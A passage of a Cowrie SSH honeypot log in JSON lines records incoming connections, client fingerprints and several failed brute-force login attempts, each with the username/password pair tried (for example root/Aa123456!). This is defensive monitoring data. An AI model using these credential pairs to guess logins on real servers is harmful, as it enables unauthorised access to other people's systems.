{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:00.324914Z","src_ip":"101.36.122.139","session":"f3bd322b5e34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:00.537905Z","src_ip":"101.36.122.139","session":"f3bd322b5e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32096,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc09e30c173","protocol":"ssh","message":"New connection: 45.153.34.195:32096 (10.17.0.5:22) [session: 0bc09e30c173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:00.702996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:00.707749Z","src_ip":"45.153.34.195","session":"0bc09e30c173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:00.788380Z","src_ip":"45.153.34.195","session":"0bc09e30c173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8080","message":"login attempt [root/8080] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:01.034416Z","src_ip":"45.153.34.195","session":"0bc09e30c173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"interser123","message":"login attempt [root/interser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:01.432450Z","src_ip":"101.36.122.139","session":"f3bd322b5e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:02.118829Z","src_ip":"45.153.34.195","session":"0bc09e30c173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57432,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5b295438e68","protocol":"ssh","message":"New connection: 91.92.40.36:57432 (10.17.0.5:22) [session: f5b295438e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:02.552842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:02.557329Z","src_ip":"91.92.40.36","session":"f5b295438e68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:02.647621Z","src_ip":"101.36.122.139","session":"f3bd322b5e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29490,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b9f602f3c11","protocol":"ssh","message":"New connection: 45.153.34.195:29490 (10.17.0.5:22) [session: 8b9f602f3c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:03.435076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:03.479746Z","src_ip":"45.153.34.195","session":"8b9f602f3c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:03.580560Z","src_ip":"45.153.34.195","session":"8b9f602f3c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:03.664698Z","src_ip":"91.92.40.36","session":"f5b295438e68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"madhuri","password":"madhuri","message":"login attempt [madhuri/madhuri] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:04.046854Z","src_ip":"45.153.34.195","session":"8b9f602f3c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:05.129966Z","src_ip":"45.153.34.195","session":"8b9f602f3c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":37024,"dst_ip":"159.203.135.109","dst_port":22,"session":"37921b3bd11f","protocol":"ssh","message":"New connection: 201.17.146.173:37024 (159.203.135.109:22) [session: 37921b3bd11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:05.500229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:05.504809Z","src_ip":"201.17.146.173","session":"37921b3bd11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29496,"dst_ip":"10.17.0.5","dst_port":22,"session":"95eada055b48","protocol":"ssh","message":"New connection: 45.153.34.195:29496 (10.17.0.5:22) [session: 95eada055b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:06.290009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:06.435011Z","src_ip":"45.153.34.195","session":"95eada055b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:06.438534Z","src_ip":"45.153.34.195","session":"95eada055b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:06.947663Z","src_ip":"45.153.34.195","session":"95eada055b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:07.082318Z","src_ip":"91.92.40.36","session":"f5b295438e68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:08.030650Z","src_ip":"45.153.34.195","session":"95eada055b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:08.246441Z","src_ip":"201.17.146.173","session":"37921b3bd11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhy","password":"zhy","message":"login attempt [zhy/zhy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:08.849494Z","src_ip":"201.17.146.173","session":"37921b3bd11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:09.075750Z","src_ip":"91.92.40.36","session":"f5b295438e68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29502,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dee131f9d19","protocol":"ssh","message":"New connection: 45.153.34.195:29502 (10.17.0.5:22) [session: 4dee131f9d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:09.215165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:09.240895Z","src_ip":"45.153.34.195","session":"4dee131f9d19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:09.422266Z","src_ip":"45.153.34.195","session":"4dee131f9d19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456!","message":"login attempt [root/Aa123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:09.762921Z","src_ip":"45.153.34.195","session":"4dee131f9d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:10.026333Z","src_ip":"201.17.146.173","session":"37921b3bd11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:10.847042Z","src_ip":"45.153.34.195","session":"4dee131f9d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21354,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc09c600a2be","protocol":"ssh","message":"New connection: 91.92.40.36:21354 (10.17.0.5:22) [session: fc09c600a2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:11.962512Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37776,"dst_ip":"10.17.0.5","dst_port":22,"session":"020306cb7f8a","protocol":"ssh","message":"New connection: 45.153.34.195:37776 (10.17.0.5:22) [session: 020306cb7f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:12.323151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:12.331089Z","src_ip":"45.153.34.195","session":"020306cb7f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:12.414641Z","src_ip":"45.153.34.195","session":"020306cb7f8a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:12.616943Z","src_ip":"91.92.40.36","session":"fc09c600a2be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"root","message":"login attempt [deployer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:12.942307Z","src_ip":"45.153.34.195","session":"020306cb7f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"me